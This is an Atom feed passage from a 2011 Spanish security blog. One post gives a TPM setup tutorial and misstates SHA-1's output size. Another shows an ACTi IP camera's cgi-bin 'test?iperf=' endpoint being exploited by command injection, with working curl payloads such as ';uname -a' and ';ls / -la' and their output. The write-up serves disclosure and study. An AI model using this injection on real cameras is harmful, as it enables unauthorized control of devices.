width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-203127179704237555</id><published>2011-06-11T13:20:00.000-07:00</published><updated>2011-06-11T13:20:14.777-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tpm'/><category scheme='http://www.blogger.com/atom/ns#' term='criptografia'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><title type='text'>TPM's</title><content type='html'>Hoy tuve acceso a una maquina con un &lt;a href="http://en.wikipedia.org/wiki/Trusted_Platform_Module"&gt;TPM&lt;/a&gt; estuve curioseando y me dieron ganas de comentar acerca de este:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-yupiZ5eoVxM/TfK6P-dbURI/AAAAAAAAAWM/1YNxpkGyYa8/s1600/tpm1_2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-yupiZ5eoVxM/TfK6P-dbURI/AAAAAAAAAWM/1YNxpkGyYa8/s1600/tpm1_2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Los &lt;a href="http://en.wikipedia.org/wiki/Trusted_Platform_Module"&gt;TPM&lt;/a&gt; o Thrusted Platform Module son la pieza fundamental de un sistema TCG.&lt;br /&gt;Estos son un tipo de cryptocore con interface de comunicaciones &lt;a href="http://es.wikipedia.org/wiki/I%C2%B2C"&gt;i2c&lt;/a&gt; el cual en el pasado venia separado del motherboard con un slot designado especialmente para este, pero que actualmente viene onboard.&lt;br /&gt;Este consta de varias partes y segun la especificacion ISO/IEC 11889.&lt;br /&gt;El dispositivo es TAMPER RESISTANT (no se puede alterar su funcionamiento esperado a travez del bus de datos &lt;a href="http://es.wikipedia.org/wiki/I%C2%B2C"&gt;i2c&lt;/a&gt;) pero este no es un requisito segun el standar y &lt;a href="http://hackaday.com/2010/02/09/tpm-crytography-cracked/"&gt;no lo es del todo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;La siguiente imagen es un diagrama de bloques de un TPM: &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-C9dPx5oWv1Y/TfK08dWwzRI/AAAAAAAAAWE/WTQX4tFLgEc/s1600/580px-TPM_english.svg.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="268" src="http://3.bp.blogspot.com/-C9dPx5oWv1Y/TfK08dWwzRI/AAAAAAAAAWE/WTQX4tFLgEc/s400/580px-TPM_english.svg.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En este podemos encontrar varios bloques:&lt;br /&gt;-&lt;a href="http://en.wikipedia.org/wiki/Hardware_random_number_generator"&gt;TRNG&lt;/a&gt; o True Random Number Generator(Hardware number Generator) el cual en teoria tiene muchisima mas entropia que un &lt;a href="http://en.wikipedia.org/wiki/Pseudorandom_number_generator"&gt;PRNG&lt;/a&gt; o Pseudo Random Number Generator los cuales en el caso de los sistemas operativos viene implementado en el software en el caso de Linux en el kernel.&lt;br /&gt;-Un modulo generador de hashes cryptograficos &lt;a href="http://es.wikipedia.org/wiki/Secure_Hash_Algorithm"&gt;SHA&lt;/a&gt;-1 el cual tiene una salida de 120 bits y que es dudosamente seguro a diferencia de sha256 el cual tiene 256 bits.&lt;br /&gt;-Una memoria EEPROM donde se guardara el par RSA de clave Publica y Privada llamada SRK o Storage Root Key es un repositorio privado de claves seguro que es usado por las aplicaciones.&lt;br /&gt;-Endorsement Key tambien es un par RSA de clave Publica Privada de hasta 2048 bits ea cual generalmente viene grabado de fabrica en el chip y que no se puede modificar.&lt;br /&gt;Cuando la EK no viene grabada de fabrica solo se puede grabar una sola vez, en caso de que esta no este presente cuando intentemos leerla el chip nos devolvera un error de lectura.&lt;br /&gt;&lt;br /&gt;En linux para detectar si tenemos un chip solo basta con hacer un dmesg:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$dmesg | grep -e tpm&lt;br /&gt;[7874.532273] tpm_tis tpm_tis: 1.2 TPM (device-id 0x4A10, rev-id 78)&lt;/div&gt;&lt;br /&gt;En mac os X:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$ioreg | grep -e tpm&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; | +-o TPM&lt;/div&gt;&lt;br /&gt;En Debian Linux para manejar el chip contamos con el paquete de herramientas tpm-tools, para verificar que el chip este presente y respondiendo podemos hacer:&lt;br /&gt;&lt;br /&gt;En caso de que el dmesg no nos devuelva nada y tengamos presente el hardware cargamos los modulos:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#modprobe tpm_bios&lt;br /&gt;#modprobe tpm&lt;br /&gt;#modprobe tpm_tis&lt;/div&gt;&lt;br /&gt;Luego instalamos los paquetes necesarios:&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;#apt-get install libengine-tpm-openssl tpm-tools trousers&lt;/div&gt;&lt;br /&gt;Luego verificamos con tpm-version si nuestro chip es reconocido:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#tpm-version&lt;br /&gt;TPM Version:    01010000&lt;br /&gt;Manufacturer Info:    53544d20&lt;/div&gt;&lt;br /&gt;Luego:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;#/etc/init.d/tcsd start&lt;/div&gt;&lt;br /&gt;Inicializamos el tpm, tomando posecion de este:&lt;br /&gt;&lt;br /&gt;Luego configuramos el ownership del chip (NOTA: este paso solo puede ser realizado una sola vez y cualquier otro intento fallara)&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#tpm_takeownership&lt;br /&gt;Enter owner password: xxxxxx&lt;br /&gt;Confirm password: xxxxxx&lt;br /&gt;Enter SRK password: yyyyyyyy&lt;br /&gt;Confirm password: yyyyyyyy&lt;/div&gt;&lt;br /&gt;El password de owner es necesario para tareas de administracion es importante que este no se pierda o perderemos el acceso para siempre al chip.&lt;br /&gt;&lt;br /&gt;Si obtenemos este error:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;Tspi_TPM_GetPubEndorsementKey failed: 0x00000023 - layer=tpm, code=0023 (35), No EK&lt;/div&gt;&lt;br /&gt;Significa que el chip no cuenta con el Endorsement Key y tendremos que crearlo:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;#tpm_createek&lt;/div&gt;&lt;br /&gt;Luego podemos verificar que la clave fue creada:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#tpm_getpubek&lt;br /&gt;Tspi_TPM_GetPubEndorsementKey failed: 0x00000008 - layer=tpm, code=0008 (8), &lt;br /&gt;The TPM target command has been disabled&lt;br /&gt;Enter owner password: &lt;br /&gt;Public Endorsement Key:&lt;br /&gt;Version:   01010000&lt;br /&gt;Usage:     0x0002 (Unknown)&lt;br /&gt;Flags:     0x00000000 (!VOLATILE, !MIGRATABLE, !REDIRECTION)&lt;br /&gt;AuthUsage: 0x00 (Never)&lt;br /&gt;Algorithm:         0x00000020 (Unknown)&lt;br /&gt;Encryption Scheme: 0x00000012 (Unknown)&lt;br /&gt;Signature Scheme:  0x00000010 (Unknown)&lt;br /&gt;Public Key:&lt;br /&gt;xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx&lt;br /&gt;xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx&lt;br /&gt;xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx&lt;br /&gt;xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx&lt;br /&gt;[...]&lt;/div&gt;&lt;br /&gt;Luego podemos proceder a crear el resto de las claves en la cadena de confianza:&lt;br /&gt;&lt;br /&gt;Creamos una clave en el TPM:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;#create_tpm_key -ap foo&lt;/div&gt;&lt;br /&gt;Luego creamos el resto:&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;#openssl req -keyform engine -engine tpm -key ./foo -new -x509 -days 365 -out bar&lt;/div&gt;&lt;br /&gt;Tambien podemos probar el siguiente &lt;a href="http://www.blogger.com/%20http://tpm-emulator.berlios.de"&gt;emulador&lt;/a&gt; de TPM's el cual esta compuesto por un modulo para el kernel y un daemon, tambien funciona en varios sistemas operativos.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;svn checkout svn://svn.berlios.de/tpm-emulator/trunk tpm-emulator&lt;br /&gt;#cd tpm_emulator&lt;br /&gt;#./build.sh &lt;br /&gt;#make -C ./build install&lt;/div&gt;&lt;br /&gt;Luego:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#modprobe tpmd_dev&lt;br /&gt;#tpmd&lt;br /&gt;#/etc/init.d/tcsd restart&lt;/div&gt;&lt;br /&gt;De nuevo corremos el tpm_version:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#tpm_version&lt;br /&gt;TPM 1.2 Version Info:&lt;br /&gt;Chip Version:        1.2.0.7&lt;br /&gt;Spec Level:          2&lt;br /&gt;Errata Revision:     1&lt;br /&gt;TPM Vendor ID:       ETHZ&lt;br /&gt;TPM Version:         01010000&lt;br /&gt;Manufacturer Info:   4554485a&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-203127179704237555?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/203127179704237555/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/06/tpms.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/203127179704237555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/203127179704237555'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/06/tpms.html' title='TPM&apos;s'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-yupiZ5eoVxM/TfK6P-dbURI/AAAAAAAAAWM/1YNxpkGyYa8/s72-c/tpm1_2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8282890377244386793</id><published>2011-06-08T09:23:00.000-07:00</published><updated>2011-06-15T08:21:30.267-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='acti'/><category scheme='http://www.blogger.com/atom/ns#' term='backdoors'/><title type='text'>Sobre camaras Acti</title><content type='html'>Un amigo me presto una camarita de estas para probarla y encontre lo siguiente:&lt;br /&gt;Un simple nmap nos puede devolver un par de puertos interesantes, bloqueados pero que estan presentes en la mayoría de los servidores con linux/unix.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$nmap 192.168.1.100 -A&lt;br /&gt;Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-08 13:16 UYT&lt;br /&gt;Interesting ports on 192.168.1.100:&lt;br /&gt;Not shown: 977 filtered ports&lt;br /&gt;PORT     STATE  SERVICE         VERSION&lt;br /&gt;20/tcp   closed ftp-data&lt;br /&gt;21/tcp   closed ftp&lt;br /&gt;22/tcp   closed ssh&lt;br /&gt;23/tcp   closed telnet&lt;br /&gt;25/tcp   closed smtp&lt;br /&gt;53/tcp   closed domain&lt;br /&gt;80/tcp   open   http            thttpd 2.25b 29dec2003&lt;br /&gt;|_ html-title: Site doesn't have a title (text/html; charset=iso-8859-1).&lt;br /&gt;389/tcp  closed ldap&lt;br /&gt;443/tcp  closed https&lt;br /&gt;465/tcp  closed smtps&lt;br /&gt;902/tcp  closed iss-realsecure&lt;br /&gt;903/tcp  closed iss-console-mgr&lt;br /&gt;993/tcp  closed imaps&lt;br /&gt;995/tcp  closed pop3s&lt;br /&gt;3389/tcp closed ms-term-serv&lt;br /&gt;5432/tcp closed postgresql&lt;br /&gt;5900/tcp closed vnc&lt;br /&gt;7443/tcp closed unknown&lt;br /&gt;8080/tcp closed http-proxy&lt;br /&gt;8081/tcp closed blackice-icecap&lt;br /&gt;8083/tcp closed unknown&lt;br /&gt;8085/tcp closed unknown&lt;br /&gt;8443/tcp closed https-alt&lt;br /&gt;&lt;br /&gt;Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 10.27 seconds&lt;/div&gt;&lt;br /&gt;Las cámaras &lt;a href="http://www.acti.com/"&gt;ACTI&lt;/a&gt; cuentan con un cgi-bin que si tratamos de acceder a este nos dará un 404.&lt;br /&gt;En dicha respuesta ya podemos ver que corre un httpd.&lt;br /&gt;Si probamos agregar un 'test?'&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$curl 'http://192.168.1.100/cgi-bin/test?'&lt;br /&gt;Error!! unknown command.&lt;br /&gt;Example: http://192.168.1.100/cgi-bin/test?iperf=192.168.1.1 -b 4m -t 90 -p 5001&lt;/div&gt;&lt;br /&gt;Nos esta dando un ejemplo!!!&lt;br /&gt;&lt;br /&gt;Entonces probamos agregarle un delimitador de comandos: ";" el punto y coma.&lt;br /&gt;Este nos permitirá ejecutar otro comando seguido del iperf, esto sucede porque el script test no escapea las ";" ni otros operadores de la shell permitiendo la ejecución de código arbitrario.&lt;br /&gt;&lt;br /&gt;Vamos a probar con 'uname -a':&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$curl 'http://192.168.1.100/cgi-bin/test?iperf=;uname%20-a'&lt;br /&gt;execute : /sbin/iperf -c ;uname -a &amp;amp;&lt;br /&gt;Linux camara 2.4.19-rmk4 #3201 Sat Jul 12 11:44:51 CST 2008 armv4l (FIC8120) unknown&lt;/div&gt;&lt;br /&gt;Y efectivamente estamos corriendo sobre un Linux en la arquitectura armv4 basada en un chip &lt;a href="http://www.faraday-tech.com/html/solutions/8120.html"&gt;FIC8120&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Linux version 2.4.19-rmk4 (root@localhost.localdomain) (gcc version 2.95.3 20010315 (release)) #2703 Wed Jan 2 12:40:25 CST 2008&lt;br /&gt;CPU: Faraday FA526id(wb) revision 1&lt;br /&gt;ICache:8KB enabled, DCache:8KB enabled, BTB support, IDLE support&lt;br /&gt;Machine: Faraday CPE&lt;br /&gt;On node 0 totalpages: 8192&lt;br /&gt;zone(0): 8192 pages.&lt;br /&gt;zone(1): 0 pages.&lt;br /&gt;zone(2): 0 pages.&lt;br /&gt;Kernel command line: root=/dev/ram0&lt;br /&gt;Relocating machine vectors to 0xffff0000&lt;br /&gt;Faraday timer 1 at IRQ 19 clock 55296000&lt;br /&gt;Calibrating delay loop... 169.57 BogoMIPS&lt;br /&gt;Memory: 32MB = 32MB total&lt;br /&gt;Memory: 29460KB available (1016K code, 214K data, 44K init)&lt;br /&gt;Dentry cache hash table entries: 4096 (order: 3, 32768 bytes)&lt;br /&gt;Inode cache hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;Mount-cache hash table entries: 512 (order: 0, 4096 bytes)&lt;br /&gt;Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;Page-cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;POSIX conformance testing by UNIFIX&lt;br /&gt;Linux NET4.0 for Linux 2.4&lt;br /&gt;Based upon Swansea University Computer Society NET3.039&lt;br /&gt;Initializing RT netlink socket&lt;br /&gt;Adjust Timer to 55296000&lt;br /&gt;Starting kswapd&lt;br /&gt;ASOC2200 Watchdog Timer: timer margin 60 sec&lt;br /&gt;Serial driver version 5.05c (2001-07-08) with no serial options enabled&lt;br /&gt;ttyS00 at 0xf9820000 (irq = 10) is a FaradayUART&lt;br /&gt;ASOC2200 gpio driver, version 3.00.00&lt;br /&gt;ASOC2200 reg driver, version 3.00.00&lt;br /&gt;ASOC2200 RS485 driver, version 3.00.02&lt;br /&gt;ASOC2200 MAC driver(2006/05/30)&lt;br /&gt;eth0: ASOC2200 MAC device at 0xf9090000, 00:0f:7c:xx:xx:xx IRQ:35&lt;br /&gt;&lt;asoc2200 mac=""&gt;: found RTL8120CP PHY at Addr 0x9&lt;br /&gt;SLIP: version 0.8.4-NET3.019-NEWTTY (dynamic channels, max=256) (6 bit encapsulation enabled).&lt;br /&gt;CSLIP: code copyright 1989 Regents of the University of California.&lt;br /&gt;SLIP linefill/keepalive option.&lt;br /&gt;RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize&lt;br /&gt;loop: loaded (max 8 devices)&lt;br /&gt;PPP generic driver version 2.4.2&lt;br /&gt;PPP Deflate Compression module registered&lt;br /&gt;PPP BSD Compression module registered&lt;br /&gt;MTD: Init Flash on ACTi ASOC2200:&lt;br /&gt;(Sector=64KB) start at 0xf3000000(16Bit)&lt;br /&gt;Number of erase regions: 1&lt;br /&gt;Primary Vendor Command Set: 0002 (AMD/Fujitsu Standard)&lt;br /&gt;Primary Algorithm Table at 0040&lt;br /&gt;Alternative Vendor Command Set: 0000 (None)&lt;br /&gt;No Alternate Algorithm Table&lt;br /&gt;Vcc Minimum: 2.7 V&lt;br /&gt;Vcc Maximum: 3.6 V&lt;br /&gt;No Vpp line&lt;br /&gt;Typical byte/word write timeout: 8 �s&lt;br /&gt;Maximum byte/word write timeout: 256 �s&lt;br /&gt;Full buffer write not supported&lt;br /&gt;Typical block erase timeout: 1024 �s&lt;br /&gt;Maximum block erase timeout: 4096 �s&lt;br /&gt;Chip erase not supported&lt;br /&gt;Device size: 0x800000 bytes (8 MiB)&lt;br /&gt;Flash Device Interface description: 0x0001&lt;br /&gt;- x16-only asynchronous interface&lt;br /&gt;Max. bytes in buffer write: 0x1&lt;br /&gt;Number of Erase Block Regions: 1&lt;br /&gt;Erase Region #0: BlockSize 0x10000 bytes, 128 blocks&lt;br /&gt;CFI: Found Flash on ACTi ASOC2200 device at location zero&lt;br /&gt;Amd/Fujitsu Extended Query Table v1.3 at 0x0040&lt;br /&gt;number of CFI chips: 1&lt;br /&gt;ASOC2200 flash partitions information&lt;br /&gt;Creating 7 MTD partitions on "Flash on ACTi ASOC2200":&lt;br /&gt;0x00000000-0x00020000 : "bootloader"&lt;br /&gt;0x00020000-0x00030000 : "device config"&lt;br /&gt;0x00030000-0x00040000 : "profile"&lt;br /&gt;0x00040000-0x003f0000 : "kernel and rootfs"&lt;br /&gt;0x003f0000-0x00400000 : "device information"&lt;br /&gt;0x00400000-0x00520000 : "oem config"&lt;br /&gt;0x00520000-0x00800000 : "application"&lt;br /&gt;NET4: Linux TCP/IP 1.0 for NET4.0&lt;br /&gt;IP Protocols: ICMP, UDP, TCP&lt;br /&gt;IP: routing cache hash table of 512 buckets, 4Kbytes&lt;br /&gt;TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.&lt;br /&gt;NetWinder Floating Point Emulator V0.95 (c) 1998-1999 Rebel.com&lt;br /&gt;RAMDISK: Compressed image found at block 0&lt;br /&gt;Freeing initrd memory: 1624K&lt;br /&gt;VFS: Mounted root (ext2 filesystem) readonly.&lt;br /&gt;Freeing init memory: 44K&lt;br /&gt;IRQ UART at interrupt number 0xa&lt;br /&gt;[acp3]: ver3 20071122, Built: Dec 31 2007 at 19:11:35&lt;br /&gt;[acp3]: Num of cap buffer constructed = 2,[1280,1024]&lt;br /&gt;[acp3]: Probing MT9M131 at 0x90 ...&lt;br /&gt;[acp3]: CheckStatus [0x10]: Timeout&lt;br /&gt;[acp3]: CheckStatus [0x10]: Timeout&lt;br /&gt;[acp3]: Failed to read 0x90, -1&lt;br /&gt;[acp3]: Probing MT9V1x5 at 0x90...&lt;br /&gt;[acp3]: CheckStatus [0x10]: Timeout&lt;br /&gt;[acp3]: CheckStatus [0x10]: Timeout&lt;br /&gt;[acp3]: Probing ADV7180 at 0x40 ...&lt;br /&gt;[acp3]: Found ADV7180&lt;br /&gt;[acp3]: Detected TV standard is 1, 0xd&lt;br /&gt;[acp3]: sensor_width=720, sensor_height=480&lt;br /&gt;[acp3]: Detected TV standard is 1, 0xd&lt;br /&gt;[acp3]: wm8731_init&lt;br /&gt;[acp3]: Initially alloc DMA memory: c2bf0000[01c00000], 262144 blocks&lt;br /&gt;[acp3]: mpeg4 encoder loaded 0xc3170e70&lt;br /&gt;[acp3]: init_fmjpeg&lt;br /&gt;[acp3]: mjpeg encoder loaded 0xc3170d80&lt;br /&gt;[acp3]: CheckStatus [0x10]: Timeout&lt;br /&gt;DS1339 RTC not found&lt;br /&gt;Trying to free free IRQ22&lt;br /&gt;[acp3]: Num of cap buffer constructed = 2,[1280,1024]&lt;br /&gt;[acp3]: Detected TV standard is 1, 0xd&lt;br /&gt;[acp3]: Detected TV standard is 1, 0xd&lt;br /&gt;[acp3]: Detected TV standard is 1, 0xd&lt;br /&gt;[acp3]: Detected TV standard is 1, 0xd&lt;br /&gt;[acp3]: Set brightness 0x21&lt;br /&gt;[acp3]: SatSaturation 85, 0xd8&lt;br /&gt;[acp3]: encoder_select 0&lt;br /&gt;[acp3]: Encoder switched to 0&lt;br /&gt;[acp3]: sensor_width=720, sensor_height=480&lt;br /&gt;[acp3]: fcap_encoder_resert&lt;br /&gt;[acp3]: Num of cap buffer constructed = 2,[1280,1024]&lt;br /&gt;[acp3]: Target [bps=3000000, framesize=12512], fbase=30000, fincr=1001, frate=29970&lt;br /&gt;[acp3]: encode init: roi_width=720, roi_height=480&lt;br /&gt;[acp3]: Drop frame number = 0, datafmt=0&lt;br /&gt;[acp3]: snapshot_encoder_create&lt;br /&gt;[acp3]: fcap_set_win [720, 480]&lt;br /&gt;[acp3]: set_win: w=720, h=480, Cntl=0x100, fmt=0x504, 2D=1&lt;br /&gt;[acp3]: Going to init_buffers&lt;br /&gt;[acp3]: Num of cap buffer constructed = 7,[720,480]&lt;br /&gt;[acp3]: Encode starting...&lt;br /&gt;[acp3]: Encode started&lt;br /&gt;[s_drv]: SB_Init, SB_struct-&amp;gt;SB_len=4098&lt;br /&gt;[s_drv]: SB_Init, SB_struct-&amp;gt;SB_len=16386&lt;br /&gt;[s_drv]: trigger_DMA_record&lt;br /&gt;[s_drv]: trigger_DMA_play&lt;br /&gt;[acp3]: SatSaturation 0, 0x0&lt;br /&gt;[acp3]: SatSaturation 85, 0xd8&lt;br /&gt;[acp3]: SatSaturation 0, 0x0&lt;br /&gt;[acp3]: SatSaturation 85, 0xd8&lt;br /&gt;[acp3]: SatSaturation 0, 0x0&lt;br /&gt;[acp3]: SatSaturation 85, 0xd8&lt;br /&gt;&lt;/asoc2200&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="code"&gt;$curl 'http://192.168.1.100/cgi-bin/test?iperf=;ls%20/%20-la'&lt;br /&gt;execute : /sbin/iperf -c ;ls / -la &amp;amp;&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 5 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 var&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 usr&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 sbin&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 save&lt;br /&gt;dr-xr-xr-x&amp;nbsp;&amp;nbsp; 34 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 proc&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 nfs_drive&lt;br /&gt;lrwxrwxrwx&amp;nbsp;&amp;nbsp;&amp;nbsp; 1 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11 linuxrc -&amp;gt; bin/busybox&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 3 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 lib&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 etc&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 dev&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 bin&lt;br /&gt;drwx------&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1024 lost+found&lt;br /&gt;drwxr-xr-x&amp;nbsp;&amp;nbsp; 13 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 